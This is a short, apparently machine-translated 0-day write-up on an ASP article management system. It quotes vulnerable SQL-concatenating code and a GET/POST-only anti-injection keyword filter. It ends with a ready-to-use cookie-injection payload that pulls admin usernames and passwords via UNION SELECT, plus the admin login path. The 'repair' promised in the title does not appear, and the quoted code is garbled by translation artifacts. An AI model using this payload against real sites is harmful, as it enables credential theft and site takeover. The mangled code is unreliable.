AVG Article background management system V2.1 0-day and repair

BY: Dark Moon
Today, when I was bored, I found a simple system for analysis and learning.
First open article. asp. See this statement dim SQL _injdata
</TR> </TBODY> </TABLE> </TD>
<TD vAlign = top align = middle width = 1 bgColor = # cccccc> </TD>
<TD vAlign = top align = middle width = 592 bgColor = # ffffff>
<%
Set rsw.conn.exe cute ("select * from article where id =" & request ("id") %> receive all requests
<TABLE cellSpacing = 0 cellPadding = 6 width = "96%" border = 0>
<TBODY>
<TR>
<TD class = xx vAlign = bottom height = 30> ■ <% = rs ("classname") %>
<% = Rs ("title") %> </TD>
</TR> </TBODY> </TABLE>
View the content
<! -- # Include file = "admin/Check_SqlIn.asp" -->
Open Check_SqlIn.asp directly
<%
SQL general anti-injection program, you only need to reference this page before opening database files such as conn. asp.

SQL _injdata = "| and | exec | insert | select | delete | update | count | * | % | chr | mid | master | truncate | char | declare"
SQL _inj = split (SQL _Injdata, "| ")
If Request. QueryString <> "Then
For Each SQL _Get In Request. QueryString
For SQL _Data = 0 To Ubound (SQL _inj)
If instr (Request. QueryString (SQL _Get), SQL _Inj (SQL _DATA)> 0 Then
Response. Write "<Script Language = JavaScript> alert (Note: please do not include invalid characters in the parameter to try to inject !); History. back (-1) </Script>"
Response. end
End if
Next
Next
End If
If Request. Form <> "" Then
For Each SQL _Post In Request. Form
For SQL _Data = 0 To Ubound (SQL _inj)
If instr (Request. Form (SQL _Post), SQL _Inj (SQL _DATA)> 0 Then
Response. Write "<Script Language = JavaScript> alert (Note: please do not include invalid characters in the parameter to try to inject !); History. back (-1) </Script>"
Response. end
End if
Next
Next
End if
%>
Obviously, only get and post are filtered.
Cookie Injection
Pay exp
Javascript: alert (document. cookie = "id =" + escape ("95 and 1 = 2 union select 1, 2, 3, user, 5, 6, password, 8, 9, 10, 11, 12, 13, 14 from admin "));
Admin/admin_login.asp